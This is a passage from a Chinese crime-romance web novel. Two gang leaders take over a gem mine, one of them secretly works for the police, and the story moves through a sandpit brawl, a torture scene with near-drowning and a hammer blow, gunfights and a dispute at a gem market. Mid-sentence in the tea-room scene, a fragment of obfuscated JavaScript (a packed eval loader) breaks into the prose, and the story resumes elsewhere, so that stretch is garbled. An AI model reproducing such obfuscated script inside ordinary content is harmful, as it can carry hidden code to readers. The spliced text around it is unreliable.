“大晚上的,我没看清吧,古蔓童不是坐着的,是站着的……被站着的。” “所以你不知道这是什么。” “这不是古蔓童吗?我听他们说,古蔓童长得人样,看上去毛骨悚然。哎呦他们说得不对啊,这老头也不毛骨悚然啊。” “你知道耶稣和基督教吗?” 甘川眨眨眼,理直气壮地说:“不知道,是啥?” 柳之杨无力地放下耶稣像。 他妈的甘川。 太没文化了。 他把耶稣像认成了什么古蔓童。 也就是说,这个矿区里根本没有人供奉古蔓童,全程都是柳之杨自己脑补出了一个古蔓童,吓了自己一路。 柳之杨就差把耶稣像扣在他脑袋上了。 但转念一想,怎么能怪甘川。 甘川说过不止一次:这世界上没有鬼神。是他自己不信的。 柳之杨感觉自己的病被治好了。 眼前再也没有什么影子,耳边也没有鬼哭狼嚎声。 柳之杨深吸一口气,把耶稣像放回神龛上,对甘川说:“等回集团,我帮哥顶着事,去把高中读完吧。” 甘川懵了,怎么从古蔓童说到读书了?这回轮到他头晕眼花了。 但看柳之杨脸色红润,似乎气血又回来了。他笑起来,说:“哎呦你别说这古蔓童还挺有用的,我亲爱的终于回来了。” “这不是古蔓童。”柳之杨说。 甘川问:“那是什么?” “等你把高中读完就知道是什么了。” “我其实一点都不感兴趣。” 柳之杨勾唇笑笑。 他早该想到的,那加人所在的北区被西方殖民过两百多年,期间该换信仰基督教的不在少数。 至于甘川,柳之杨有了新梦想,督促甘川拿到本科学历。 外面的打斗声不止,柳之杨挽起袖口,往棚外走去。 甘川看他恢复了活力,笑着追上他,揽住他的肩:“亲爱的,你还能打吗?” “比你能打。”柳之杨说完,掀开塑料棚。 阳光刺眼。 18.砂石场、矿场 五年前。 甘川因为不去吉云寺祭拜,被言老大安排去守沉村的沙场。 沉村沙场在距离东区市中心三十里外的地方,常年都是一些老人在守,经常有附近村民土匪过来偷沙石。 甘川明白言老大的意思,这是把自己放逐了呗。 走的时候甘川没和柳之杨说,自己去沙场了,这个工地就是柳之杨的了。 结果车还没开出工地,就看见黎明微光之下,柳之杨拖着行李在等自己。 甘川给他打开大货车的门,“哎呦之杨,我看你在睡没叫醒你。” 柳之杨先把行李箱砸上来,然后人也上车,冷冷看着前面,没说话。 “好了送别仪式完成,”甘川拍了下手说,“下车吧之杨,你马上就是工地理事了,别走弯路。” “哥,我跟你去。”柳之杨说。 甘川看着他,笑了一下,“犟,我们之杨真是犟啊!” 他吹着口哨发动车辆,朝着郊区驶去。 柳之杨也有私心,他要去救一个被卖到沉村的女孩。 沉村沙场占地十四五亩,一个铁皮屋子在沙堆中间,原来守沙场的老人一走,把屋子内所有家具都搬走卖了。 甘川他们到的时候,屋子只剩个屋子。 柳之杨买了些木材回来,和甘川一起做起家具,又去买了床单被套,屋子逐渐有了“家”的模样。 守沙场很无聊,沉村一些小孩儿偶尔会来偷沙子,甘川就坐在沙丘上,丢小石子驱赶他们。 这样待了一周后,甘川不知道从哪个垃圾回收站刨到了一台废弃电视,兴冲冲抬回家,发现只能播放雪花。 柳之杨去沉村踩点回来,看见高大的甘川正缩在小凳子上,和电视大眼瞪小眼。 柳之杨检查了电视,“没有卫星天线,只能放DVD。” 甘川第二天搞了个DVD回来,一放是AI片。 两人尴尬得不敢看对方。 甘川手忙脚乱地退出DVD,“买碟片的死老李,老子明天去打他一顿!” 第三天甘川又拿着个新碟片回来。 “老李说这片子绝对好看,是两个男的的战斗!” 一放,是个GIV。 看着碟片的画面,甘川瞪大双眼,半天说不出话来。 柳之杨捂住眼睛。 之后那台电视就废弃了。 但甘川一天都闲不住,他在房子前面挖了跳平坦的道路,找了根杆子、一个球,开始打高尔夫。 他力气大,经常把球打进沙堆里,等上面来运沙,发现里面参了几十颗球。 甘川只能一边骂,一边悄悄把球捡出来。 一个夜里,柳之杨将女孩救出,带到东区交给上线。任务完成得很顺利,他买了点酒回去。 甘川喝了一瓶,红得像个熟了的虾,指着柳之杨说:“好兄弟,你来陪我,我真的很高兴。” 柳之杨笑笑,喝了口酒,又给甘川满上。 甘川一饮而尽,醉醺醺地问:“不过,杨杨,你为什么想死啊?活着多好!” 柳之杨嘴角的笑意散去,他看向甘川,见人已经喝醉,摩擦着杯口说:“我母亲,被一个穆雅马的毒鬼杀了,但那个毒鬼也死了。我想去下面找他报仇。” 甘川好半天没说话,橙黄的灯光下他的眼睛里开始渗出泪水。 柳之杨吓一跳,“哥,不至于。” 甘川抹了把眼睛,说:“我懂你杨杨,要是我妈这样,我肯定也想报仇。吸毒的人死了,就找贩毒的人,把他们全杀了!” 这句话点醒了柳之杨。 他要找到贩毒的人,把他们绳之以法。 这样才是冤有头债有主,把母亲的仇报了。 柳之杨心下感激甘川,但不知道怎么表达,只能为他斟酒。 一杯酒没倒满,柳之杨耳朵动了动——门外传来脚步声,还有钢管划过沙地的声音。 甘川还在喝,没意识到危险靠近。 “哥,我去厕所。”柳之杨站起身,走到门边,挑了根趁手的木棍。 门外站着七八个男人,凶神恶煞、手拿钢管、绝非善类。 他们身后停了两辆小卡车,空的。 为首的胖虎往前一步,看着清瘦的柳之杨,嚣张至极:“你把娇娇藏哪里了?” 娇娇就是柳之杨从沉村救出去的女孩。 柳之杨用沉默回答。 胖虎冷哼:“今天老子要运走两车沙子,算是娇娇没了的补偿。” 两车沙石怎么也有100方,就算一方60,也是六千块。 六千块的差要柳之杨和甘川自掏腰包补。他们连几百的电视都是捡的,别说拿出六千块了。 柳之杨握紧手中木棍,用行动回答他们的话。 胖虎见他要抵抗,怒道:“看来得给你点颜色瞧瞧!” “哎呦妈的,”甘川推开门,醉醺醺地走出来,眯着眼睛看了对面半晌,“谁啊?” “终于来了个会说话的,”胖虎用钢管指着甘川,“娇娇呢?” 甘川:“……谁?” 胖虎说:“你再装一个试试!娇娇,我们沉村的……啊!!” 柳之杨把手里的木棍丢出去,砸到胖虎头上。 胖虎捂住脑袋,疼得后退两步。他不再和二人扯闲,吼道:“给我上!!” 柳之杨压下眉,也压下心中的害怕,义无反顾地冲向他们。 他与其中四个小弟扭打在一起,他反应快、身轻如燕,虽然也受了伤,但数十招后还是占了上风。 “yue……” 这边柳之杨打得正酣,那边甘川吐了一地。 其他三个围上去的小弟见他这样,纷纷捂住鼻子往后退。 甘川慢条斯理地擦擦嘴,清醒了些,下一秒手臂被打了一棍子。 “妈的,疼死我了!!”甘川捂着手臂,看清了眼前的局势。 不是,哪里来的人?怎么打起来了? 不等他反应,三个小弟拿着钢管冲向甘川。 甘川赶忙躲避,三根钢管打在草垛上,草垛凹陷,要是人的话骨头都断了。 “你们,你们他妈,动真格啊!”甘川骂道,蹲下身躲过一棍子。 糟糕的是,他眼前的路弯弯绕绕,怎么都走不了直线。 三个小弟停下动作。 眼前这个醉鬼像是在跳舞一样,一会儿晃到这边、一会儿晃到那边。 跟这种人打架,说出去丢面子。 甘川总算是摸到门,闪身进屋,把门牢牢关上,“之杨,快拿点儿什么东西堵门!” 没有人回答他。 妈的,甘川挠挠脑袋,柳之杨在外面打架呢。 他吐出一口气,抄起擀面杖,掂量两下,打开门。 那是他们第一次站在一起打架。 五年后,红品矿山。 柳之杨挽好袖子,和甘川加入了那加人的队伍,把泰擒等卡恰打得落花流水。 其他矿工也加入进来。 他们把泰擒等卡恰围成了个圈,泰擒在最里面。 卡恰用枪指着矿工们,勉强能威胁他们不要再往前。 僵持之际,一通电话打破。 泰擒接起,以为又是陈颂,没想到是他爹泰金: “儿子!”泰金听起来非常着急,“甘川这段时间没在集团里,他在矿上,他一直在矿上!!” 泰擒脑袋“嗡”地一响。 “他长得很高,身材健硕,皮肤不白小麦色,头发有点卷,赶紧找到 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柳之杨说:“我不知道。” 泰擒大笑,“你不知道?看来得给你上点手段你才会知道了。” 说着,用力拽住柳之杨的手臂,把他往岗亭拖。 矿工赶忙跟上,冲在最前面的一个年轻矿工头上炸出一朵鲜花,倒在众人面前。 泰擒一个个点着那些矿工,说:“之前老子不敢杀你们,现在你们谁再往前一步,我一枪爆头!你们等着,处理完甘川,我再好好找你们算账。进去!!” 柳之杨被一把推进岗亭下面的屋子。 门“砰”地关上。 矿工们松了口气,可看到眼前年轻矿工鲜活的尸体,又止不住对泰擒的怒火。 同时,他们意识到甘川在他们中间,相互询问怀疑。 外面还有卡恰盯着,矿工只好先回自己的棚窝。 貌貌带人把矿工的尸体先拖到阴凉处,进了他们那被搞得一团糟的棚窝。 颂巴甘川等人也进了自己的棚窝。 刚进去,颂巴拦住甘川:“川,川哥,你就是甘川吧。” 他用的不是疑问句。 甘川环视一圈周围望着他的矿工,他们相处数日,早已称兄道弟。 “敢不敢跟着我干一场?”甘川问。 五年前,沙场。 包括胖虎在内的所有打架的人躺在地上,捂着手、腿、肚子、各个地方哀嚎。 甘川的衬衫敞开,露出里面精壮的肌肉,只有脸上有点血迹,不知道谁的鼻血喷他脸上了。 他丢开擀面杖,问一旁喘气不停的柳之杨,“杨杨,我们怎么打起来的?” 柳之杨话堵了一下才说出口,“他们来抢沙子。” “哎呦想不劳而获啊!”甘川走向胖虎,蹲下身,反手在他油腻的脸上拍了拍,“记住,我甘川在一天,你他妈就别想抢砂石场。” 胖虎缩成一团,颤巍巍地点头。 甘川站起身想走,却被拉住裤腿。 胖虎水汪汪的眼睛看着甘川,“甘老大,以后,你带我们混吧!” 其他小弟也纷纷附和,“老大,我们以后跟你们混!” “老大,收留我们吧……” “我们跟你干!!”颂巴说。 “干!”矿工们早对泰擒十分不满。 甘川掀开塑料棚,发现貌貌等那加人早等在外面。 貌貌对甘川伸出手,“不管你是谁,我们也加入。” 甘川握上他的手。 19.拿下矿区 柳之杨的一只手被吊起,衬衫衣领大开,头发散在额边,身上有数道血迹。 泰擒围着柳之杨转圈,时不时抬手摇晃吊着柳之杨手腕的铁链。 铁链承受着一个人的重量,摇晃几下,柳之杨的肩膀脱臼了,他只闷哼一声,像个破布娃娃一样低垂着头。 “还不说吗?” 泰擒接过卡恰递过来的手枪,枪口抵住柳之杨的小腹,“我下手不准,别真给你打死了。” 柳之杨沉默回应。 泰擒不想那么快结束柳之杨性命,他笑笑,把枪收回腰间,说:“没事,我们还有时间。” 他让人放下铁链,把柳之杨踢倒在地,拖着他一只脱臼的手,来到一桶水面前。 然后,拽住柳之杨的头发将人按了进去。 水呛进口鼻,柳之杨下意识想呼吸咳嗽,却呛了更多水。鼻腔里的水刺痛眼睛,他用力挣扎,却被泰擒按得更紧。 窒息的感觉渐渐浓烈。 泰擒数着秒数,见柳之杨挣扎弱了,一把拽起他,巴掌扇到他清秀的脸上,“说不说!” 柳之杨喘息:“滚。” 泰擒阴邪地笑起来,“硬骨头啊理事,试试这个吧。” 泰擒命人把柳之杨绑到椅子上,掂量着手中的铁锤朝他走去。 “穆雅马赌场有个手段,专门对付交不出钱、又有点地位的人,”泰擒指着手里的铁锤: “用这个,敲在人胸口,短时间看不出任何痕迹。我一直很怀疑是不是真的,理事,你试试吧。” 说完,他一锤子砸到柳之杨胸口。 柳之杨先是感觉闷痛,而后剧烈的、钻心的骨头断裂的痛席卷而来。 他用力深呼吸,见泰擒第二锤要敲下来,不禁怀疑自己能不能抵得住。 “轰!!” 一辆皮卡冲了进来。 泰擒和卡恰们连忙躲开,定睛一看,屋子的半面墙都被撞没了。 甘川一脚踹开皮卡车门,抬手就是一枪,打在泰擒手臂上。 泰擒手里的铁锤砸到地上,手脚并用地躲到了木桌后面,对卡恰大喊:“开枪!!” 数道子弹袭来,甘川闪身到皮卡车边,等第一轮攻击结束,皮卡车被打得凹陷下去。 甘川见时机成熟,朝空中放了一枪。 无数的矿工越过破墙,涌入黑屋,他们拿着撬棍、锄头、榔头这些平时挖土的东西,喊叫着冲向卡恰和泰擒。 枪声和喊声交织,还有钝器打在肉上的声音,空气中血腥味逐渐蔓延。 卡恰虽然有枪,但架不住屋内狭小、光线昏暗,不少卡恰被矿工制服。 泰擒见势不好,带着一批卡恰边打边往后退。 貌貌举起手,喊道:“从后门出去了,追!” 打斗声转移到屋外,屋内安静了些。 柳之杨倒在地上,手还被铁链捆在椅子上。 甘川上前把铁链扯开,将柳之杨打横抱起,往屋外亮光处走。 柳之杨静静靠在甘川胸膛,感觉很累,眼皮不住地打架,就要睡过去。 “杨杨、亲爱的,”甘川唤他的声音都在抖,“醒醒,看着我。” 柳之杨勉强抬起眼皮,又轻又慢地说:“你有什么好看的……” “我,”甘川咽了口水,让自己声音听起来别那么心痛,“我他妈可是东区第一帅哥,你,你看着我,别睡,马上到车上了。” 甘川的声音咋咋呼呼地回荡在柳之杨耳边,柳之杨勾唇想笑,却牵动胸口的伤。 疼得他冷汗直冒。 甘川见状,脚步更快,朝守在车边的雷吼道:“你他妈赶紧开车门,杵在那里当雕塑吗?!” 雷见状,打开后车门,和甘川一起把柳之杨放到后座。 “去象林医院。”甘川说完,转身要走,被柳之杨拉住手。 外面枪声不断,矿工们人数虽多,但毕竟没枪,甘川手里也只有一把手枪。 甘川看见柳之杨的眼睛就知道他要说什么,拍了拍他的手,“没事,亲爱的。” 柳之杨还是不放手,死死盯着甘川。 甘川掀起柳之杨额前碎发,在他额头落下一吻,“信我啊亲爱的,咱们远不到生离死别的时候。” 说完,轻轻拨开柳之杨的手,用力踢了雷一脚,“给老子把人看好了。” 雷点头。 甘川揣好手枪,转身跑向打得正酣的战区。 车启动,柳之杨看着他的背影,强撑着拨通集团手下的电话:“带三十个人,去红品矿山。是,现在。” 电话里,手下说:“理事,甘总已经打过电话,人已经出去了,还有半小时就能到。还要再派一批吗?” 柳之杨松了口气,甘川怎么会打没准备的仗,回答道:“不用了。” 正要挂,对面又问:“理事,甘总送回来的宝石我们已经拿到了,人怎么处理?” 柳之杨抬眼,一切发生得太快,他一直以为沈佳瑞还在矿上,至于宝石他差点都忘了。 甘川什么时候把人转移出去的? 他要是发现了沈佳瑞和崔梓涵王欣的关系,会不会怀疑到什么? 顿了片刻,柳之杨问:“人,现在在在哪里?” “在集团楼下关着,吃食都没有亏待。” 柳之杨摩擦着电话,“这个人是矿上卡恰。你派辆车,把他,还有工地做饭的王欣、崔梓涵送到红品市场。” “红品市场吗?” 柳之杨难受地移动了一下,“嗯。送到甘川名下档口里。” “我明白了。” 挂了电话,柳之杨发现雷正从前视镜打量着他。 “好好开车。”柳之杨收起手机,说。 柳之杨被推进医院,打了麻醉做手术。 可梦里全是矿场的事情,时真时幻,扰得心难静。 他猛地醒了。 病房里一个人都没有,清晨的阳光落到地上,窗帘随风飘荡着。 自己睡了多久?甘川呢? 柳之杨起身,却牵动胸膛的伤口,只得挪到床边,缓缓抬手,摸到床头的手机。 只过了半天,柳之杨松了口气,又见信箱有消息,点进去一看——熟悉的卖房子信息。 他环视一圈屋内,确认没有监控后,摸到盖在被子上的西服外套,从一颗纽扣后面摸出黑色的电话卡。 插好卡后,拨通手机里唯一一个电话: “喂。” 那边静了静,才说:“之杨,我听说红品矿山暴动 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柳之杨握紧手机,不知道为何,眼里有些许泪花打转。 那边知道他不方便说话,又叮嘱几句后挂了。 柳之杨也把电话卡重新藏好,一声轻叹落在病房里。 甘川没有消息,也许是最好的消息。 柳之杨再次睡去,等意识回神时,耳边有削苹果的声音。 他第一反应是雷,因为甘川不会削苹果。 可下一秒,削苹果的人“啊”地叫了一声。也许是发现自己吵到了病人,那人的“啊”又很快止住。 是甘川的声音。 柳之杨微微勾了勾唇。 削苹果的声音没有再继续。 柳之杨正要睁眼,唇上传来温热的触感,是甘川在用大拇指来回摩擦他的唇。 ……又搞什么X骚扰。 他很快发现不对,唇上怎么有些湿意。 柳之杨睁开眼,却见甘川挡在他头顶,聚精会神地看着自己的唇,抚唇的动作也逐渐细致。 “你干什么?”柳之杨忽然开口,给甘川吓一跳。 “哎呦亲爱的你醒了啊!”甘川坐到他床边,指着他的唇说,“我给你涂口红呢。” 柳之杨摸了一下,发现是血。 “我的血我的血,别害怕。我刚才削苹果划到手指,见你嘴唇没什么血色,想着给你涂点口红。为什么不红啊?” 要是别人做这种事情,柳之杨一定会觉得他被古蔓童俯身了。 但甘川,柳之杨觉得他做什么都能理解。 把自己的血抹别人嘴上,或许陈颂说得对,他真应该去驱驱邪。 不对,应该先去读完高中。 他不会以为口红是用血做的吧。 见柳之杨不说话,甘川又拿过放在盘子里的苹果,递到他嘴边,“给你削好了。哎呦老子这辈子第一次给人削苹果,我妈都没享受过。” 柳之杨接过苹果。 苹果被削得凹凸不平,果肉也被削去大半。 “矿场怎么样?泰擒呢?”柳之杨默默把苹果放回盘子里。 20.谎言 “矿场怎么样?泰擒呢?”柳之杨默默把苹果放回盘子里。 甘川笑起来,说:“矿场矿场,我们理事真是工作狂啊。你老公我都站这儿了,矿场肯定是控制下来了。” “泰擒你弄了?” 甘川看着柳之杨,“亲爱的这话,是想让我杀了他,还是别杀了他?” 柳之杨迅速分析了形势:红品矿山不够,上游还有红品宝石市场被泰金控制。泰擒活着,才更有谈判筹码。 甘川比柳之杨更明白其中道道。 门被敲了敲,雷在门口说:“甘川,泰金找你。” 甘川和柳之杨默契地对视一眼,起身,为柳之杨拉好被子,“记得把苹果吃了!” 柳之杨轻笑着点头。 甘川这才离开。 柳之杨看见,甘川后背也包了一圈纱布,受伤不轻。 “甘川中了一枪,没大事。”雷走到柳之杨床边,看见那个畸形的苹果,要丢垃圾桶,被柳之杨拦住。 “削成小块。”柳之杨说。 刚把甜腻的苹果吃完,门外又来了访客。 雷问了姓名,回来说:“老板,是泰金的人,说是来赔礼道歉的。” 柳之杨思索片刻,点了头。 一个提着果篮的中年男人出现在门边。 他穿着穆雅马人最喜欢的亚麻衣服,戴着一副黑镜框眼镜,但遮不住背后那双眼中的精明。 男人笑得谄媚,走到柳之杨床边,自我介绍道:“柳理事,久仰大名,我是泰老板的副手,您可以叫我提夸。” 他说的是中文。 柳之杨明白泰金的心思:自己是华裔,找个华裔来谈事更方便。 “你好。”柳之杨示意他坐,“这里是穆雅马,还是说穆语吧。” 提夸懂了柳之杨的意思,尴尬地笑笑,切回穆雅马语,说:“是这样的,泰老板对您的遭遇特别特别特别痛心,对泰擒也是特别特别特别生气。他现在在上面和甘老板谈生意,他说等他谈完,怎么也要下来和您亲自道歉。” 柳之杨偏过头,“谢谢,不必了。” “这这肯定要道歉的,柳理事,泰老板说他教子无方,实在是对不起您呐!” 提夸一边说,一边打开水果篮,“他特意让我采购了一些华国水果给您送来,您看看,喜不喜欢?” 提夸把果篮小心地放在床边,斜着展示给柳之杨看。 几个桃子和梨下面,放着五条金条。 …… 等甘川回到病房,天色已晚。 柳之杨已经可以坐起来,正靠着床头看书。 “苹果吃完了吗亲爱的,我又给你买了……” 甘川看见床头那一筐果篮,把提着的塑料袋放一旁,往里看了看。 “哎呦!闪瞎我的眼啊!”甘川笑着问柳之杨,“泰金送来的?” 柳之杨点头。 “你接受泰金道歉了?” 柳之杨摇头。 甘川坐到床边凳子上,看着他笑说:“我们理事也是奸商啊,收钱不办事。” 柳之杨放下书:“聊得还好吗?” “特别差,”甘川卧靠到柳之杨腿上,“没找到他们藏货的地方,抓不到证据。泰金还威胁我要告我强抢矿场,妈的,那泰擒也是个死骨头,怎么都不说把贪来的宝石石头藏在哪里。” 柳之杨皱眉:“他们贪了那么多货,不可能运得出去。红品矿场虽然大,但能藏东西的地方也不多。” “我已经让矿工们找了,找到全是他们的。但红品市场这一趟是省不下来了。整个市场都是泰金的,老子就一个档口,又不能像矿场这样直接抢,哎呦妈的,麻烦死了。” 柳之杨没有答话,只安静让他靠着。 过了一会儿,甘川忽然说:“亲爱的,你是不是已经知道我把蓝宝石送出去的事?” 柳之杨的心提起,简单“嗯”道:“昨天打电话给你搬救兵,听小武说了。” “本来早想和你说的,结果你病重,一直没机会。我没有故意瞒你啊亲爱的,我从不瞒你,你知道的。” 甜蜜的话落在柳之杨耳里,却变成了涩味的刀。 柳之杨连“嗯”都嗯不出来。 甘川又说:“你当时挺聪明的,把宝石藏卡恰身上。卡恰们不会互相搜,就这样带出去了。” 柳之杨故意的。他知道,只要宝石在沈佳瑞身上,甘川才会想办法让他安全出去。 甘川话锋一转,“不过那个卡恰居然又是个华国人,你说巧不巧?而且雷把他带走时,他没有一点反抗,就像,早知道有人会去接他。” 柳之杨心跳得快要窒息,但表面维持住面无表情,说:“哦?有这种事?” “是啊,有这种事……” 甘川还要说什么,被一通电话打破。 “甘总,我们已经到红品市场了,那三个华国人也在。”是手下小武。 “让那个卡恰接电话。”甘川说。 几秒后,沈佳瑞颤巍巍的声音传来:“喂,甘,甘总。” 柳之杨被子里的手默默攥紧。 甘川说:“知道我是谁吧?” “知道,是您,您当时救了我,把我带出了矿场。” “我俩还挺有缘分。之前从没见过,你就那么信任我,说带你走你还真走,万一是把你绑去VV园区,你不完蛋了。” 沈佳瑞忙说:“不,走的时候我以为救我的是柳理事授意的,所以没有犹豫!” 甘川抬眼看向柳之杨,笑问:“你和柳理事很熟?” 沈佳瑞的声音停顿了一会儿,才说:“有一条蛇丢到我身上,是柳理事帮我弄掉的。我当时求他帮忙,我想离开红品矿山。” 柳之杨松了口气,沈佳瑞还算聪明,发现了甘川话里的坑。 但这通电话足矣让柳之杨心惊胆战。 他必须要加快速度,把三个学生和吴正义尽快送离。 等甘川离开,柳之杨插上了另一张电话卡。 这张卡是华国特质的,不会被监听、不会留下记录、不会被定位,并且每半年就换一次。 他编辑了短信,按照那边给的电话,发给了吴正义: 你的位置? 那边过了十分钟才回复: 你是? 柳之杨回了两个字: 回国。 吴正义很快回复: 警官,我在红品宝石市场。 红品市场是东区最大的宝石市场,吴正义是鉴宝专家,在那里也说得过去。 柳之杨拿过红品市场地图,圈出甘川档口,选定了不远处的一条隐蔽巷子。 然后把巷子的位置拍照,发给了吴正义。 吴正义回了个:好的,我知道这里,这里平时基本没人去,很隐蔽。 柳之杨发:凌晨一点。 吴正义回了个:好的,麻烦警官了。 柳之杨放下手机,想了想,让雷把车里的笔记本电脑拿过来。 穆雅马的网很差,因为根本没几个人有手机有电脑上网。 柳之杨在搜索栏里搜了“吴正义”三个字,转了两分钟才弹出界面。 他浏览了一下,都是吴正义在华国的经历,来穆雅马后,这个人似乎消失了。 柳之杨关上电脑。 第二天,柳之杨和甘川办了出院手续,一起赶往红品市场。 红品宝石市场是东区乃至整个穆雅马最大的宝石市场。周围大小矿场、所有好东西都聚集在这里,有穆雅马最多的翡翠、翡翠石,还有世界文明的蓝宝石、玉石。 市场有纵横两条主街,店铺鳞次栉比。 无数人从各个国家奔赴而来,每天人流量能达到十几万。 甘川的档口叫甘石翡翠,在市场纵向的主街上,有上下两层楼。 下层是个明亮的展厅,加工过的、没加工过的宝石、翡翠都放在玻璃柜里。 上层是个茶室,大生意要谈会来这儿。 这个档口对甘川来说九牛一毛,要不是来红品市场,他都快忘了还有这种地方。 车在店门口前停下,甘川总算换下红黑的花衬衫,穿了一件深棕的休闲西装,戴着那个黄墨镜。 柳之杨在他身后下车,还是低调板正的黑西装。 手下小武早就让一楼所有销售等在门口,见二人下车,齐刷刷地说: “甘总好!理事好!” 甘川满意地点着头,“好好好!” 柳之杨一眼看见队伍里穿统一包臀裙的崔梓涵和王欣,她们比起其他销售,明显不适合这种裙子。但看见柳之杨的那一刻,二人都笑得开心。 崔梓涵的眼里除了开心,还有些许期盼。 雷帮柳之杨把东西搬下车,一抬头,看见了崔梓涵。 因为失忆症,他长时间不见一个人就会忘记长相,所以现在,他只觉得崔梓涵眼熟,但已经记不清她是谁了。 和柳之杨打了招呼后,雷径直把行李搬上到二楼。 崔梓涵的笑容缓缓消失。 欢迎仪式结束,小武摆摆手,销售们重新回到岗位。 雷放好行李回到一楼,随便找了个凳子坐着开始发呆。 柳之杨则跟在甘川身后上了二楼。 一进茶室,甘川一屁股坐在沙发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈佳瑞始终不敢抬头,他将茶水端到甘川面前,蹲下身准备洗杯倒茶。 可因为过度紧张,他的目光下意识地、飞快地瞟向了站在一旁的柳之杨。眼里充满无助和下意识的求助依赖。 像一根针,精准地刺破到甘川心里。 甘川的笑意瞬间冷却,他笑问柳之杨,但声音里已经没了温度:“诶这个人你记得吧,亲爱的?” 柳之杨没答,上前挡开沈佳瑞,说:“你下去吧,我来。” 沈佳瑞心下感激,收回手正要走,被甘川叫住:“哎呦老子辛辛苦苦把你救出来,倒个水都不会?” 甘川翘着的二郎腿放下,没看柳之杨,眼睛一动不动盯着沈佳瑞。 “你他妈那么紧张干什么?”甘川问。 沈佳瑞抖个不停,又看了柳之杨一眼。 甘川的视线也随之看向柳之杨。 “你怎么了,哥?”柳之杨假意问。 他比所有人都知道甘川怎么了。 “之杨,这小子说谎啊,”甘川用手指点了点桌子,“他是华国人,来旅游的,怎么忽然就去矿上了,还做了卡恰?!” 柳之杨默不作声紧咬后牙,问:“哥这些信息,从哪里听来的?保真吗?” 甘川说:“用他身份证号查的,你说真不真。” 身份证号? 沈佳瑞小声用中文和柳之杨说:“在,在矿上要登记身份信息,我就写了……” 柳之杨心服口服。这孩子怎么那么诚实? “让你回答这个了吗?”甘川说,“你他妈给我说穆语,这里是穆雅马。” 沈佳瑞组织了半天的语言,才颤巍巍地解释:“我,我是来旅游的,是被骗过去的,我爸妈给了泰擒一点钱让我做了卡恰。但我一直想出去想回国,那天柳理事帮我赶蛇,我觉得他是好人,就求他带我出去!真的是这样的,甘总,我没有骗你!” 阳光经过窗帘的削弱,落到屋内有些闷。 甘川浅色的眸子在这样的光线下,清澈至极,可就是这样一双不掺杂物的眼睛,却让人看得害怕。 只有野兽的眼睛,才会什么都没有、一眼看到底。 沈佳瑞的下巴都在抖。 甘川看出沈佳瑞在说谎,半真半假的谎。 他移开视线,端起茶水,说:“行了,出去。” 沈佳瑞站起身时腿都软了,摔在地上,被柳之杨拉起来,才勉强离开。 柳之杨目送他下楼,没关门,转头对甘川说:“哥,我也下去看看。” “之杨。” 甘川叫住他。 叫的不是亲爱的、不是杨杨,是之杨。 “过来。” 21.两半 柳之杨下意识咽了口水,关上门,走到甘川面前。 甘川端着两杯茶水起身,一杯给他,一杯自己一饮而尽。 喝完,他用舌头剔了剔牙,才说:“这个世界上有两个最放心不下的人,一个是我妈,一个是你。我妈是因为老了,我得给她送终。但你,你比我还孑然一身,给我感觉却是,你身后有无数藤蔓链接着你。” 柳之杨看着杯子,两颗茶叶在水里飘荡,一颗沉入杯底,一颗却浮到水面。 甘川拍上柳之杨的肩,又从他的肩移到后颈,摩擦着他的皮肤,问:“亲爱的,你有没有什么要和我说的?” 柳之杨抬眼看他,沉默很久才说:“没有,哥。” 甘川点头,放开了他的后颈,重新坐到沙发上,“等事情结束,离开象林前,和我回去看看我妈吧。” 柳之杨说好。 沉默中,下面忽然喧闹起来,似乎爆发了剧烈的争吵。 甘川躺到沙发上,恢复了吊儿郎当地口气,“哎呦妈的,这些人一分钟也不消停。你去帮我看看吧亲爱的,我得睡会儿。” 柳之杨放下手里的茶水,拿过毯子给甘川盖上。 甘川笑说:“咱们没干完的事晚上再干啊亲爱的,我都记着呢。” …… 雷坐着坐着无聊,开始在一楼随意逛,玻璃柜里的宝石在白炽灯照耀下,快要把人眼睛闪瞎。 他一栏一栏地看着,店里人很多,碰到人也听不见对方的骂声,眼睛被宝石黏住:红宝石、蓝宝石、翡翠石、玉石…… 展柜后面出现一个身影。 雷抬眼,是那个有些眼熟的女孩。 崔梓涵的眼神复杂,轻声问雷:“先生,要看点什么吗?” 雷蒙了一会儿,摇头。 崔梓涵嘴唇动了动,似乎想说什么。 “不是我摔碎的!!” 崔梓涵的眼神从雷移到他身后,雷也随她的眼神转过身。 一个综头发的、体型偏胖的西方男人用英语大声说着什么。 对面的王欣双手绞在一起,承受着西方男人的口水乱飞。 王欣面前的红丝绒软垫上,一只断裂的玉镯静静躺在里面。 王欣终于抓到一个话口,用英文说:“可您把镯子打碎了。” 那西方男人一听更炸了,又用英文吵吵起来:“摔镯子的另外一个人,那个人撞到了我,我捡起来准备还给你的!你这是污蔑!” 柳之杨从二楼下来,整理好外套,走到他们身边问:“怎么了?” 西方男人看见柳之杨气质不凡,忙说:“先生,我没有摔碎这个镯子!你们不能让我白白赔偿!” 王欣急得用中文说:“他说他要看看玉镯,我给他看,等转过头镯子就碎了!!” 西方男人肢体动作非常夸张地解释道:“我和另一个东方人在这里看镯子,东方人撞到我,我的镯子掉在了地上碎了!然后我捡起来,她就说我摔坏了镯子!!” 王欣也说:“当时人很多,是有一个东方人在这位先生身边看镯子,但我没看见东方人撞了这位先生!” 这俩一个用英文一个用中文,吵得柳之杨头昏,他捏了捏眉心,问王欣:“东方人呢?” 王欣环视周围,说:“好像走了。” “东方人看的镯子呢?” 王欣一愣。 柳之杨叹了口气,用英文问西方男人:“先生,怎么称呼?” “约瑟夫。”约瑟夫脸都吵红了。 柳之杨说:“东方人撞你时,玉镯有没有被你拿在手上?” “在啊,但是是因为他撞人才会掉到地上的!” 柳之杨说:“宝石市场的规矩是,宝石最后在谁手上,谁负责。” 约瑟夫一听,更生气了,“我不管什么规矩,这个镯子要十万,我不可能为别人的失误买单!我告诉你,我是比国人,我的国家比你的国家强大许多!!” 柳之杨被他喷了一脸口水。 “是怎么吵起来了啊?” 门口传来声音,一个人摇着扇子进来,居然是提夸。 看热闹的游客商贩自觉给他让路,有商贩恭敬地称呼他:“监管。” 提夸看见柳之杨,假意惊讶,走上前说:“真是大水冲了龙王庙,我说是哪里吵起来,原来是柳理事这里!” 约瑟夫指着提夸:“你也是来帮他的吗?” 提夸用英文回答:“先生,请不要质疑我的公正性,我是这个市场的监管。” 门口有个看了很久的小商贩跑进来,对提夸耳语了整个事情的经过。 